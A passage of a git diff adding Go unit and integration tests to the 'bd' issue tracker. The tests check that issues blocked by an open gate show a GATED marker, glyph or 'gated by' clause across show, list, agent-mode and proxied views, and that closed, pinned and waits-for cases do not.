+ } + out := formatIssueMetadataWithGates(issue, gates) + for _, want := range []string{ + "Gated by: bd-g1 (human: Need design review)", + "Gated by: bd-g2 (gh:pr, awaiting 42)", + "Gated by: bd-g3 (gate)", + } { + if !strings.Contains(out, want) { + t.Errorf("meta block missing %q:\n%s", want, out) + } + } + if n := strings.Count(out, "Gated by:"); n != 3 { + t.Errorf("meta block has %d Gated by lines, want one per gate", n) + } +} + +func TestFormatIssueMetadataGatedKeepsDeferredLine(t *testing.T) { + deferUntil := time.Date(2099, time.January, 15, 12, 0, 0, 0, time.Local) + issue := &types.Issue{ + ID: "bd-target", Title: "Later", Status: types.StatusDeferred, Priority: 1, + DeferUntil: &deferUntil, + } + out := formatIssueMetadataWithGates(issue, []*types.Issue{openGate("bd-g1", "human", "", "")}) + if !strings.Contains(out, "Deferred: 2099-01-15") { + t.Errorf("deferred+gated meta lost the Deferred line:\n%s", out) + } + if !strings.Contains(out, "Gated by: bd-g1") { + t.Errorf("deferred+gated meta lost the Gated by line:\n%s", out) + } +} + +func TestFormatPrettyIssueGatedGlyph(t *testing.T) { + gates := []string{"bd-gate"} + open := &types.Issue{ID: "bd-1", Title: "Open", Status: types.StatusOpen, Priority: 2} + if got := formatPrettyIssueGated(open, nil); !strings.HasPrefix(got, ui.StatusIconOpen) { + t.Errorf("ungated row = %q, want the open glyph", got) + } + if got := formatPrettyIssueGated(open, gates); !strings.HasPrefix(got, ui.StatusIconGated) { + t.Errorf("gated row = %q, want the gated glyph %q", got, ui.StatusIconGated) + } + + // The gated glyph outranks the deferred snowflake: one column, and the + // gate is the fact the row cannot otherwise show. + deferred := &types.Issue{ID: "bd-2", Title: "Later", Status: types.StatusDeferred, Priority: 2} + if got := formatPrettyIssueGated(deferred, gates); !strings.HasPrefix(got, ui.StatusIconGated) { + t.Errorf("deferred+gated row = %q, want the gated glyph", got) + } + if got := formatPrettyIssueGated(deferred, nil); !strings.HasPrefix(got, ui.StatusIconDeferred) { + t.Errorf("deferred row = %q, want the deferred glyph", got) + } + + // A closed issue is never decorated: `bd ready` withholds it on its own + // account, so a gate marker would claim a causation that is not there. + closed := &types.Issue{ID: "bd-3", Title: "Done", Status: types.StatusClosed, Priority: 2} + if got := formatPrettyIssueGated(closed, gates); strings.Contains(got, ui.StatusIconGated) { + t.Errorf("closed row carries the gated glyph: %q", got) + } + + // Nor is a PINNED one — and the pin survives, because the glyph never gets + // the chance to evict it (types.SubjectCanBeGated says no first). + pinned := &types.Issue{ID: "bd-4", Title: "Pinned", Status: types.StatusPinned, Priority: 2} + got := formatPrettyIssueGated(pinned, gates) + if strings.Contains(got, ui.StatusIconGated) { + t.Errorf("pinned row carries the gated glyph: %q", got) + } + if !strings.HasPrefix(got, ui.StatusIconPinned) { + t.Errorf("pinned+gated row = %q, want it to keep the pin %q", got, ui.StatusIconPinned) + } +} + +// TestFormatIssueCompactGated pins the compact row: the same glyph rule, plus +// the "gated by" clause that names the gate the glyph only hints at. +func TestFormatIssueCompactGated(t *testing.T) { + issue := &types.Issue{ID: "bd-1", Title: "Open", Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask} + + var buf strings.Builder + formatIssueCompact(&buf, issue, nil, []string{"bd-gate"}, nil, "", []string{"bd-gate"}) + got := buf.String() + if !strings.Contains(got, ui.StatusIconGated) { + t.Errorf("gated compact row missing %q: %q", ui.StatusIconGated, got) + } + if !strings.Contains(got, "gated by: bd-gate") { + t.Errorf("gated compact row does not name the gate: %q", got) + } + + buf.Reset() + pinned := &types.Issue{ID: "bd-2", Title: "Pinned", Status: types.StatusPinned, Priority: 2, IssueType: types.TypeTask} + formatIssueCompact(&buf, pinned, nil, nil, nil, "", []string{"bd-gate"}) + if got := buf.String(); strings.Contains(got, ui.StatusIconGated) { + t.Errorf("pinned compact row carries the gated glyph: %q", got) + } +} + +// TestFormatAgentIssueGated is SHOULD-3: agent mode has no glyph column, and +// ui.IsAgentMode() is true in every CLAUDE_CODE seat — the population that +// cannot otherwise tell a gated row from a startable one. +func TestFormatAgentIssueGated(t *testing.T) { + issue := &types.Issue{ID: "bd-1", Title: "Gated work", Status: types.StatusOpen, Priority: 2} + + var buf strings.Builder + formatAgentIssue(&buf, issue, nil, nil, "", nil) + if got := buf.String(); got != "bd-1: Gated work\n" { + t.Errorf("ungated agent line = %q, want the untouched one-liner", got) + } + + buf.Reset() + formatAgentIssue(&buf, issue, []string{"bd-gate"}, nil, "", []string{"bd-gate"}) + got := buf.String() + if !strings.Contains(got, "gated by: bd-gate") { + t.Errorf("agent line does not name the gate: %q", got) + } + if !strings.Contains(got, "blocked by: bd-gate") { + t.Errorf("agent line lost its blocked-by clause: %q", got) + } +} diff --git a/cmd/bd/gated_render_embedded_test.go b/cmd/bd/gated_render_embedded_test.go new file mode 100644 index 000000000..f48224d6c --- /dev/null +++ b/cmd/bd/gated_render_embedded_test.go @@ -0,0 +1,351 @@ +//go:build cgo + +package main + +import ( + "os" + "os/exec" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/internal/ui" +) + +// bdGateCreateIssue runs "bd gate create --json" and returns the gate issue. +func bdGateCreateIssue(t *testing.T, bd, dir string, args ...string) *types.Issue { + t.Helper() + fullArgs := append([]string{"gate", "create", "--json"}, args...) + out, err := bdRunWithFlockRetry(t, bd, dir, fullArgs...) + if err != nil { + t.Fatalf("bd gate create %s failed: %v\n%s", strings.Join(args, " "), err, out) + } + return parseIssueJSON(t, out) +} + +// bdListEnv is bdList with extra environment, for the agent-mode arm. +func bdListEnv(t *testing.T, bd, dir string, extraEnv []string, args ...string) string { + t.Helper() + cmd := exec.Command(bd, append([]string{"list"}, args...)...) + cmd.Dir = dir + cmd.Env = append(bdEnv(dir), extraEnv...) + stdout, stderr, err := runCommandBuffers(t, cmd) + if err != nil { + t.Fatalf("bd list %s failed: %v\nstdout:\n%s\nstderr:\n%s", strings.Join(args, " "), err, stdout.String(), stderr.String()) + } + return stdout.String() +} + +// listRowFor returns the `bd list` row that names id, in any of the three row +// shapes: pretty ("○ gd-1 P2 Title"), compact ("○ gd-1 [P2] ...") and agent +// mode ("gd-1: Title (...)"). +func listRowFor(t *testing.T, out, id string) string { + t.Helper() + for _, line := range strings.Split(out, "\n") { + if strings.Contains(line, id+" ") || strings.Contains(line, id+"[") || strings.Contains(line, id+":") { + return line + } + } + t.Fatalf("no row for %s in bd list output:\n%s", id, out) + return "" +} + +// TestEmbeddedGatedRendering pins the derived GATED decoration on the human +// surfaces: an issue an OPEN gate blocks is excluded from `bd ready`, so +// `bd show` and `bd list` must say so rather than rendering a plain OPEN row. +func TestEmbeddedGatedRendering(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + dir, _, _ := bdInit(t, bd, "--prefix", "gd") + + target := bdCreate(t, bd, dir, "Gated target", "-p", "2") + gate := bdGateCreateIssue(t, bd, dir, "--blocks", target.ID, "--reason", "Need design review") + + t.Run("ready_excludes_the_gated_issue", func(t *testing.T) { + out, err := bdRunWithFlockRetry(t, bd, dir, "ready") + if err != nil { + t.Fatalf("bd ready failed: %v\n%s", err, out) + } + if strings.Contains(string(out), target.ID) { + t.Fatalf("bd ready listed gated issue %s (the premise of this test):\n%s", target.ID, out) + } + }) + + t.Run("show_header_and_meta_say_gated", func(t *testing.T) { + out := bdShowRaw(t, bd, dir, target.ID) + t.Logf("bd show %s:\n%s", target.ID, out) + if !strings.Contains(out, "· GATED]") { + t.Errorf("show header missing GATED marker:\n%s", out) + } + wantLine := "Gated by: " + gate.ID + " (human: Need design review)" + if !strings.Contains(out, wantLine) { + t.Errorf("show meta missing %q:\n%s", wantLine, out) + } + }) + + t.Run("show_json_carries_gated_by", func(t *testing.T) { + details := bdShowDetails(t, bd, dir, target.ID) + raw, ok := details["gated_by"] + if !ok { + t.Fatalf("show --json has no gated_by field: %v", keysOf(details)) + } + entries, ok := raw.([]any) + if !ok || len(entries) != 1 { + t.Fatalf("gated_by = %#v, want one entry", raw) + } + entry, ok := entries[0].(map[string]any) + if !ok { + t.Fatalf("gated_by[0] = %#v, want an object", entries[0]) + } + if entry["id"] != gate.ID { + t.Errorf("gated_by[0].id = %v, want %s", entry["id"], gate.ID) + } + if entry["type"] != "human" { + t.Errorf("gated_by[0].type = %v, want human", entry["type"]) + } + if entry["reason"] != "Need design review" { + t.Errorf("gated_by[0].reason = %v, want the gate's reason", entry["reason"]) + } + // Additive only: the fields bd show --json already published are unchanged. + for _, key := range []string{"id", "title", "status", "priority", "issue_type"} { + if _, ok := details[key]; !ok { + t.Errorf("show --json lost pre-existing field %q", key) + } + } + if details["status"] != "open" { + t.Errorf("stored status = %v, want open (the decoration is derived, not stored)", details["status"]) + } + }) + + t.Run("list_row_carries_the_gated_glyph", func(t *testing.T) { + out := bdList(t, bd, dir) + t.Logf("bd list:\n%s", out) + row := listRowFor(t, out, target.ID) + if !strings.HasPrefix(strings.TrimSpace(row), ui.StatusIconGated) { + t.Errorf("list row for %s does not lead with the gated glyph %q:\n%s", + target.ID, ui.StatusIconGated, row) + } + }) + + // --flat leaves the tree view, and with it the whole-rig edge map the tree + // already had: this arm is what exercises gatedIssueIDs' own batched + // dependency read. + t.Run("flat_list_row_carries_the_gated_glyph", func(t *testing.T) { + out := bdList(t, bd, dir, "--flat") + t.Logf("bd list --flat:\n%s", out) + row := listRowFor(t, out, target.ID) + if !strings.HasPrefix(strings.TrimSpace(row), ui.StatusIconGated) { + t.Errorf("flat list row for %s does not lead with the gated glyph %q:\n%s", + target.ID, ui.StatusIconGated, row) + } + }) + + t.Run("deferred_and_gated_show_both_markers", func(t *testing.T) { + deferred := bdCreate(t, bd, dir, "Deferred and gated", "-p", "1") + bdUpdate(t, bd, dir, deferred.ID, "--defer", "2099-01-15") + dgate := bdGateCreateIssue(t, bd, dir, "--blocks", deferred.ID, "--type", "gh:pr", "--await-id", "42") + + out := bdShowRaw(t, bd, dir, deferred.ID) + t.Logf("bd show %s:\n%s", deferred.ID, out) + if !strings.Contains(out, "Deferred: 2099-01-15") { + t.Errorf("show lost the Deferred line:\n%s", out) + } + wantLine := "Gated by: " + dgate.ID + " (gh:pr, awaiting 42)" + if !strings.Contains(out, wantLine) { + t.Errorf("show meta missing %q:\n%s", wantLine, out) + } + if !strings.Contains(out, "· GATED]") { + t.Errorf("show header missing GATED marker on a deferred issue:\n%s", out) + } + + listOut := bdList(t, bd, dir, "--status", "deferred") + row := listRowFor(t, listOut, deferred.ID) + if !strings.HasPrefix(strings.TrimSpace(row), ui.StatusIconGated) { + t.Errorf("deferred+gated list row does not lead with %q:\n%s", ui.StatusIconGated, row) + } + }) + + // BLOCKER 1 (opus-adv): waits-for is NOT the status rule. The is_blocked + // recompute sends that leg through waitsForGateBlockedSQL, which blocks + // only on an OPEN parent-child child of the target (or an also_blocks + // spawner), so a plain waits-for onto an open childless gate leaves the + // dependent IN `bd ready` — and a decoration here would contradict it. + t.Run("waits_for_onto_a_gate_is_not_decorated", func(t *testing.T) { + subject := bdCreate(t, bd, dir, "Waits-for subject", "-p", "2") + wgate := bdCreate(t, bd, dir, "Bare gate", "-p", "2", "-t", "gate") + if out, err := bdRunWithFlockRetry(t, bd, dir, "dep", "add", subject.ID, wgate.ID, "-t", "waits-for"); err != nil { + t.Fatalf("bd dep add waits-for failed: %v\n%s", err, out) + } + + out, err := bdRunWithFlockRetry(t, bd, dir, "ready") + if err != nil { + t.Fatalf("bd ready failed: %v\n%s", err, out) + } + if !strings.Contains(string(out), subject.ID) { + t.Fatalf("bd ready dropped %s over a waits-for edge — the premise of this case is that it does not:\n%s", subject.ID, out) + } + + showOut := bdShowRaw(t, bd, dir, subject.ID) + if strings.Contains(showOut, "GATED") || strings.Contains(showOut, "Gated by:") { + t.Errorf("waits-for edge rendered a gate on bd show, while bd ready lists the bead:\n%s", showOut) + } + if details := bdShowDetails(t, bd, dir, subject.ID); details["gated_by"] != nil { + t.Errorf("waits-for edge put gated_by on the detail view: %#v", details["gated_by"]) + } + for _, listArgs := range [][]string{nil, {"--flat"}} { + row := listRowFor(t, bdList(t, bd, dir, listArgs...), subject.ID) + if strings.Contains(row, ui.StatusIconGated) { + t.Errorf("list %v decorated a waits-for edge:\n%s", listArgs, row) + } + } + }) + + // BLOCKER 2 (opus-adv), subject half: unmarkAllBlockedSQL forces + // is_blocked=0 for a CLOSED subject, so `bd ready` never withholds one on + // a gate's account and no surface may print [CLOSED · GATED]. + t.Run("closed_subject_renders_no_gate", func(t *testing.T) { + subject := bdCreate(t, bd, dir, "Closed under a gate", "-p", "2") + cgate := bdGateCreateIssue(t, bd, dir, "--blocks", subject.ID, "--reason", "hold") + if out, err := bdRunWithFlockRetry(t, bd, dir, "close", subject.ID, "--force", "-r", "done anyway"); err != nil { + t.Fatalf("bd close --force failed: %v\n%s", err, out) + } + + showOut := bdShowRaw(t, bd, dir, subject.ID) + t.Logf("bd show %s:\n%s", subject.ID, showOut) + if strings.Contains(showOut, "GATED") { + t.Errorf("closed subject rendered a GATED marker (gate %s still open):\n%s", cgate.ID, showOut) + } + if strings.Contains(showOut, "Gated by:") { + t.Errorf("closed subject rendered a Gated by line:\n%s", showOut) + } + if details := bdShowDetails(t, bd, dir, subject.ID); details["gated_by"] != nil { + t.Errorf("closed subject published gated_by: %#v", details["gated_by"]) + } + row := listRowFor(t, bdList(t, bd, dir, "--status", "closed"), subject.ID) + if strings.Contains(row, ui.StatusIconGated) { + t.Errorf("closed list row carries the gated glyph:\n%s", row) + } + }) + + // Same clause, pinned half — and NOTE 5: the pin survives, because a + // pinned subject is never gated in the first place. + t.Run("pinned_subject_renders_no_gate_and_keeps_the_pin", func(t *testing.T) { + subject := bdCreate(t, bd, dir, "Pinned under a gate", "-p", "2") + bdGateCreateIssue(t, bd, dir, "--blocks", subject.ID, "--reason", "hold") + if out, err := bdRunWithFlockRetry(t, bd, dir, "update", subject.ID, "--status", "pinned"); err != nil { + t.Fatalf("bd update --status pinned failed: %v\n%s", err, out) + } + + showOut := bdShowRaw(t, bd, dir, subject.ID) + t.Logf("bd show %s:\n%s", subject.ID, showOut) + if strings.Contains(showOut, "GATED") || strings.Contains(showOut, "Gated by:") { + t.Errorf("pinned subject rendered a gate:\n%s", showOut) + } + if details := bdShowDetails(t, bd, dir, subject.ID); details["gated_by"] != nil { + t.Errorf("pinned subject published gated_by: %#v", details["gated_by"]) + } + row := listRowFor(t, bdList(t, bd, dir, "--status", "pinned"), subject.ID) + if strings.Contains(row, ui.StatusIconGated) { + t.Errorf("pinned row carries the gated glyph instead of the pin:\n%s", row) + } + if !strings.Contains(row, ui.StatusIconPinned) { + t.Errorf("pinned row lost the pin %q:\n%s", ui.StatusIconPinned, row) + } + }) + + // SHOULD 3 (opus-adv): agent mode has no glyph column, and every + // CLAUDE_CODE seat is in it. The gate rides the parenthetical instead. + t.Run("agent_mode_line_names_the_gate", func(t *testing.T) { + out := bdListEnv(t, bd, dir, []string{"CLAUDE_CODE=1"}, "--flat") + t.Logf("CLAUDE_CODE=1 bd list --flat:\n%s", out) + row := listRowFor(t, out, target.ID) + if !strings.Contains(row, "gated by: "+gate.ID) { + t.Errorf("agent-mode row does not name the gate %s:\n%s", gate.ID, row) + } + }) + + t.Run("resolved_gate_renders_nothing", func(t *testing.T) { + if out, err := bdRunWithFlockRetry(t, bd, dir, "gate", "resolve", gate.ID); err != nil { + t.Fatalf("bd gate resolve failed: %v\n%s", err, out) + } + + out := bdShowRaw(t, bd, dir, target.ID) + if strings.Contains(out, "GATED") || strings.Contains(out, "Gated by:") { + t.Errorf("a resolved gate still renders on bd show:\n%s", out) + } + + details := bdShowDetails(t, bd, dir, target.ID) + if raw, ok := details["gated_by"]; ok { + t.Errorf("gated_by present after the gate closed: %#v", raw) + } + + for _, listArgs := range [][]string{nil, {"--flat"}} { + listOut := bdList(t, bd, dir, listArgs...) + row := listRowFor(t, listOut, target.ID) + if strings.Contains(row, ui.StatusIconGated) { + t.Errorf("list %v row still carries the gated glyph after resolve:\n%s", listArgs, row) + } + } + + listOut := bdList(t, bd, dir) + row := listRowFor(t, listOut, target.ID) + if strings.Contains(row, ui.StatusIconGated) { + t.Errorf("list row still carries the gated glyph after resolve:\n%s", row) + } + if !strings.HasPrefix(strings.TrimSpace(row), ui.StatusIconOpen) { + t.Errorf("ungated row should lead with %q:\n%s", ui.StatusIconOpen, row) + } + }) + + // A gate can be a wisp — `bd mol wisp` clones a formula's gates as wisps, + // held to a wisp step by a blocks edge. The direct route's readers + // partition the planes; this pins that, beside the proxied twin of this + // case in TestProxiedServerGatedRendering, whose hydrator once did not. + t.Run("wisp_gate_decorates_the_wisp_row", func(t *testing.T) { + subject := bdCreate(t, bd, dir, "Wisp step", "-p", "2", "--ephemeral") + wgate := bdCreate(t, bd, dir, "Wisp gate", "-p", "2", "-t", "gate", "--ephemeral") + if out, err := bdRunWithFlockRetry(t, bd, dir, "dep", "add", subject.ID, wgate.ID, "-t", "blocks"); err != nil { + t.Fatalf("bd dep add failed: %v\n%s", err, out) + } + + showOut := bdShowRaw(t, bd, dir, subject.ID) + t.Logf("bd show %s:\n%s", subject.ID, showOut) + if !strings.Contains(showOut, "· GATED]") { + t.Fatalf("show does not call the wisp gated, the premise of this case:\n%s", showOut) + } + + listOut := bdList(t, bd, dir, "--include-ephemeral") + t.Logf("bd list --include-ephemeral:\n%s", listOut) + if row := listRowFor(t, listOut, subject.ID); !strings.HasPrefix(strings.TrimSpace(row), ui.StatusIconGated) { + t.Errorf("pretty wisp row does not lead with %q:\n%s", ui.StatusIconGated, row) + } + + flatOut := bdList(t, bd, dir, "--flat", "--include-ephemeral") + t.Logf("bd list --flat --include-ephemeral:\n%s", flatOut) + row := listRowFor(t, flatOut, subject.ID) + if !strings.Contains(row, ui.StatusIconGated) { + t.Errorf("compact wisp row missing %q:\n%s", ui.StatusIconGated, row) + } + if !strings.Contains(row, "gated by: "+wgate.ID) { + t.Errorf("compact wisp row does not name the wisp gate %s:\n%s", wgate.ID, row) + } + + agentOut := bdListEnv(t, bd, dir, []string{"CLAUDE_CODE=1"}, "--flat", "--include-ephemeral") + t.Logf("CLAUDE_CODE=1 bd list --flat --include-ephemeral:\n%s", agentOut) + if row := listRowFor(t, agentOut, subject.ID); !strings.Contains(row, "gated by: "+wgate.ID) { + t.Errorf("agent-mode wisp row does not name the wisp gate %s:\n%s", wgate.ID, row) + } + }) +} + +func keysOf(m map[string]any) []string { + out := make([]string, 0, len(m)) + for k := range m { + out = append(out, k) + } + return out +} diff --git a/cmd/bd/gated_render_proxied_integration_test.go b/cmd/bd/gated_render_proxied_integration_test.go new file mode 100644 index 000000000..dd1c87c03 --- /dev/null +++ b/cmd/bd/gated_render_proxied_integration_test.go @@ -0,0 +1,166 @@ +//go:build cgo + +package main + +import ( + "strings" + "testing" + + "github.com/steveyegge/beads/internal/ui" +) + +// TestProxiedServerGatedRendering is the SHOULD-4 half of wy-j2upyy: the +// proxied-server TEXT routes must render the same derived GATED decoration the +// direct routes do. +// +// The proxied --json routes already carried it (uow issue_reader → +// workapi.BuildIssueDetails), so without this the SAME bead read two ways from +// the SAME server disagrees: gated_by in the JSON, a plain OPEN row in the +// terminal. Whole constellations run proxied — it is the default for a shared +// dolt server — so "upstream ships it" and "the seat that filed the bug sees +// it" are not the same statement until this passes. +func TestProxiedServerGatedRendering(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) + + p := newSharedProxiedProject(t, bd, "pgd") + target := bdProxiedCreate(t, bd, p.dir, "Proxied gated target", "-p", "2") + + out, stderr, err := bdProxiedRunBuffers(t, bd, p.dir, + "gate", "create", "--type=human", "--blocks", target.ID, "--reason", "Need design review") + if err != nil { + t.Fatalf("gate create failed: %v\nstderr:\n%s", err, stderr) + } + gateID := parseCreatedGateID(t, out) + + t.Run("show_text_says_gated", func(t *testing.T) { + showOut := bdProxiedShowRaw(t, bd, p.dir, target.ID) + t.Logf("bd show %s:\n%s", target.ID, showOut) + if !strings.Contains(showOut, "· GATED]") { + t.Errorf("proxied show header missing the GATED marker:\n%s", showOut) + } + wantLine := "Gated by: " + gateID + " (human: Need design review)" + if !strings.Contains(showOut, wantLine) { + t.Errorf("proxied show meta missing %q:\n%s", wantLine, showOut) + } + }) + + // The route that was already right, kept beside the one that was not: the + // text and the JSON are two readings of one bead and must agree. + t.Run("show_json_still_carries_gated_by", func(t *testing.T) { + details := bdProxiedShowDetailsFirst(t, bd, p.dir, target.ID) + raw, ok := details["gated_by"] + if !ok { + t.Fatalf("proxied show --json has no gated_by") + } + entries, ok := raw.([]any) + if !ok || len(entries) != 1 { + t.Fatalf("gated_by = %#v, want one entry", raw) + } + entry, _ := entries[0].(map[string]any) + if entry["id"] != gateID { + t.Errorf("gated_by[0].id = %v, want %s", entry["id"], gateID) + } + }) + + t.Run("pretty_list_row_carries_the_glyph", func(t *testing.T) { + listOut := bdProxiedList(t, bd, p) + t.Logf("bd list:\n%s", listOut) + row := listRowFor(t, listOut, target.ID) + if !strings.HasPrefix(strings.TrimSpace(row), ui.StatusIconGated) { + t.Errorf("proxied pretty row does not lead with %q:\n%s", ui.StatusIconGated, row) + } + }) + + t.Run("compact_list_row_carries_the_glyph_and_names_the_gate", func(t *testing.T) { + listOut := bdProxiedList(t, bd, p, "--flat") + t.Logf("bd list --flat:\n%s", listOut) + row := listRowFor(t, listOut, target.ID) + if !strings.Contains(row, ui.StatusIconGated) { + t.Errorf("proxied compact row missing %q:\n%s", ui.StatusIconGated, row) + } + if !strings.Contains(row, "gated by: "+gateID) { + t.Errorf("proxied compact row does not name the gate:\n%s", row) + } + }) + + t.Run("agent_mode_line_names_the_gate", func(t *testing.T) { + stdout, stderr, err := bdProxiedRunBuffersWithEnv(t, bd, p.dir, []string{"CLAUDE_CODE=1"}, "list", "--flat") + if err != nil { + t.Fatalf("bd list --flat failed: %v\nstderr:\n%s", err, stderr) + } + t.Logf("CLAUDE_CODE=1 bd list --flat:\n%s", stdout) + row := listRowFor(t, stdout, target.ID) + if !strings.Contains(row, "gated by: "+gateID) { + t.Errorf("proxied agent row does not name the gate %s:\n%s", gateID, row) + } + }) + + // The subject clause reaches the proxied routes through the same helper, + // so a closed bead is undecorated here too. + t.Run("closed_subject_renders_no_gate", func(t *testing.T) { + closedTarget := bdProxiedCreate(t, bd, p.dir, "Proxied closed under a gate", "-p", "2") + if _, stderr, err := bdProxiedRunBuffers(t, bd, p.dir, + "gate", "create", "--type=human", "--blocks", closedTarget.ID, "--reason", "hold"); err != nil { + t.Fatalf("gate create failed: %v\nstderr:\n%s", err, stderr) + } + if _, stderr, err := bdProxiedRunBuffers(t, bd, p.dir, "close", closedTarget.ID, "--force", "-r", "done anyway"); err != nil { + t.Fatalf("bd close --force failed: %v\nstderr:\n%s", err, stderr) + } + + showOut := bdProxiedShowRaw(t, bd, p.dir, closedTarget.ID) + t.Logf("bd show %s:\n%s", closedTarget.ID, showOut) + if strings.Contains(showOut, "GATED") || strings.Contains(showOut, "Gated by:") { + t.Errorf("proxied show decorated a closed subject:\n%s", showOut) + } + row := listRowFor(t, bdProxiedList(t, bd, p, "--flat", "--status", "closed"), closedTarget.ID) + if strings.Contains(row, ui.StatusIconGated) { + t.Errorf("proxied closed row carries the gated glyph:\n%s", row) + } + }) + + // A gate can be a wisp — `bd mol wisp` clones a formula's gates as wisps, + // held to a wisp step by a blocks edge. The proxied list once hydrated gate + // candidates from the issues table only, so this row rendered plain OPEN + // while `bd show` and `bd ready` called the same wisp gated. + t.Run("wisp_gate_decorates_the_wisp_row", func(t *testing.T) { + subject := bdProxiedCreate(t, bd, p.dir, "Proxied wisp step", "-p", "2", "--ephemeral") + wgate := bdProxiedCreate(t, bd, p.dir, "Proxied wisp gate", "-p", "2", "-t", "gate", "--ephemeral") + if _, stderr, err := bdProxiedRunBuffers(t, bd, p.dir, "dep", "add", subject.ID, wgate.ID, "-t", "blocks"); err != nil { + t.Fatalf("bd dep add failed: %v\nstderr:\n%s", err, stderr) + } + + // The premise: the read that was already wisp-aware calls it gated. + showOut := bdProxiedShowRaw(t, bd, p.dir, subject.ID) + t.Logf("bd show %s:\n%s", subject.ID, showOut) + if !strings.Contains(showOut, "· GATED]") { + t.Fatalf("proxied show does not call the wisp gated, the premise of this case:\n%s", showOut) + } + + listOut := bdProxiedList(t, bd, p, "--include-ephemeral") + t.Logf("bd list --include-ephemeral:\n%s", listOut) + if row := listRowFor(t, listOut, subject.ID); !strings.HasPrefix(strings.TrimSpace(row), ui.StatusIconGated) { + t.Errorf("proxied pretty wisp row does not lead with %q:\n%s", ui.StatusIconGated, row) + } + + flatOut := bdProxiedList(t, bd, p, "--flat", "--include-ephemeral") + t.Logf("bd list --flat --include-ephemeral:\n%s", flatOut) + row := listRowFor(t, flatOut, subject.ID) + if !strings.Contains(row, ui.StatusIconGated) { + t.Errorf("proxied compact wisp row missing %q:\n%s", ui.StatusIconGated, row) + } + if !strings.Contains(row, "gated by: "+wgate.ID) { + t.Errorf("proxied compact wisp row does not name the wisp gate %s:\n%s", wgate.ID, row) + } + + stdout, stderr, err := bdProxiedRunBuffersWithEnv(t, bd, p.dir, []string{"CLAUDE_CODE=1"}, "list", "--flat", "--include-ephemeral") + if err != nil { + t.Fatalf("bd list --flat --include-ephemeral failed: %v\nstderr:\n%s", err, stderr) + } + t.Logf("CLAUDE_CODE=1 bd list --flat --include-ephemeral:\n%s", stdout) + if row := listRowFor(t, stdout, subject.ID); !strings.Contains(row, "gated by: "+wgate.ID) { + t.Errorf("proxied agent wisp row does not name the wisp gate %s:\n%s", wgate.ID, row) + } + }) +} diff --git a/cmd/bd/gated_test.go b/cmd/bd/gated_test.go new file mode 100644 index 000000000..ec4fa653b --- /dev/null +++ b/cmd/bd/gated_test.go @@ -0,0 +1,77 @@ +package main + +import ( + "context" + "errors" + "reflect" + "testing" + + "github.com/steveyegge/beads/internal/storage/domain" + "github.com/steveyegge/beads/internal/types" +) + +// planeIssueUC answers the two id-set reads proxiedGateCandidates makes and +// nothing else, each with only the rows its own table holds: GetIssuesByIDs +// the issues, GetWispsByIDs the wisps, as the domain use case does. +type planeIssueUC struct { + domain.IssueUseCase // any other method is a nil call: the hydrator must not reach one + issues, wisps []*types.Issue + wispsErr error +} + +func (s planeIssueUC) GetIssuesByIDs(context.Context, []string) ([]*types.Issue, error) { + return s.issues, nil +} + +func (s planeIssueUC) GetWispsByIDs(context.Context, []string) ([]*types.Issue, error) { + if s.wispsErr != nil { + return nil, s.wispsErr + } + return s.wisps, nil +} + +// TestProxiedGatedIssueIDsHydratesBothPlanes pins the proxied hydrator to both +// tables. The use case's GetIssuesByIDs reads the issues table only, so a wisp +// gate — the kind `bd mol wisp` clones from a formula — once hydrated to +// nothing, and its step listed undecorated while `bd show` called it GATED. +// +// The unit of work is lookupOnlyUOW: the dependency rows are preloaded, so a +// call to its nil DependencyUseCase would be a panic, not a silent pass. +func TestProxiedGatedIssueIDsHydratesBothPlanes(t *testing.T) { + step := &types.Issue{ID: "bd-step", Status: types.StatusOpen} + wispStep := &types.Issue{ID: "bd-wisp-step", Status: types.StatusOpen, Ephemeral: true} + gate := openGate("bd-gate", "human", "Need design review", "") + wispGate := openGate("bd-wisp-gate", "", "", "") + wispGate.Ephemeral = true + deps := map[string][]*types.Dependency{ + step.ID: {{IssueID: step.ID, DependsOnID: gate.ID, Type: types.DepBlocks}}, + wispStep.ID: {{IssueID: wispStep.ID, DependsOnID: wispGate.ID, Type: types.DepBlocks}}, + } + page := []*types.Issue{step, wispStep} + + t.Run("each_plane_decorates_its_own_rows", func(t *testing.T) { + uw := lookupOnlyUOW{issues: planeIssueUC{ + issues: []*types.Issue{gate}, + wisps: []*types.Issue{wispGate}, + }} + got := proxiedGatedIssueIDs(context.Background(), uw, page, deps) + want := map[string][]string{step.ID: {gate.ID}, wispStep.ID: {wispGate.ID}} + if !reflect.DeepEqual(got, want) { + t.Errorf("gated = %v, want %v", got, want) + } + }) + + // A failed wisps read costs the wisp gates their decoration, never the + // durable gates the issues read already found. + t.Run("failed_wisps_read_keeps_the_durable_decoration", func(t *testing.T) { + uw := lookupOnlyUOW{issues: planeIssueUC{ + issues: []*types.Issue{gate}, + wispsErr: errors.New("wisps read failed"), + }} + got := proxiedGatedIssueIDs(context.Background(), uw, page, deps) + want := map[string][]string{step.ID: {gate.ID}} + if !reflect.DeepEqual(got, want) { + t.Errorf("gated = %v, want %v", got, want) + } + }) +} diff --git a/cmd/bd/list.go b/cmd/bd/list.go index 7c247ee97..9d3f9c6e5 100644 --- a/cmd/bd/list.go +++ b/cmd/bd/list.go @@ -326,7 +326,8 @@ func runListCore(cmd *cobra.Command, _ []string) error { return HandleError("loading dependencies for --deps: %v", depErr) } // Hierarchical --parent walks use an unlimited per-level query, so the tree is never page-truncated. - displayPrettyListWithDepsMode(treeIssues, false, allDeps, in.depsMode, false, in.ReadyFlag, in.Status, in.SortBy, in.Reverse) + displayPrettyListWithDepsMode(treeIssues, false, allDeps, in.depsMode, false, in.ReadyFlag, in.Status, in.SortBy, in.Reverse, + gatedIssueIDs(ctx, activeStore, treeIssues, allDeps)) printSkipLabelsFooter(in.SkipLabels) return nil } @@ -335,7 +336,11 @@ func runListCore(cmd *cobra.Command, _ []string) error { if depErr != nil && in.depsMode != "" { return HandleError("loading dependencies for --deps: %v", depErr) } - displayPrettyListWithDepsMode(issues, false, allDeps, in.depsMode, truncated, in.ReadyFlag, in.Status, in.SortBy, in.Reverse) + // allDeps is already the whole rig's edge map, so the gate decoration + // adds ONE call here — the hydration of the 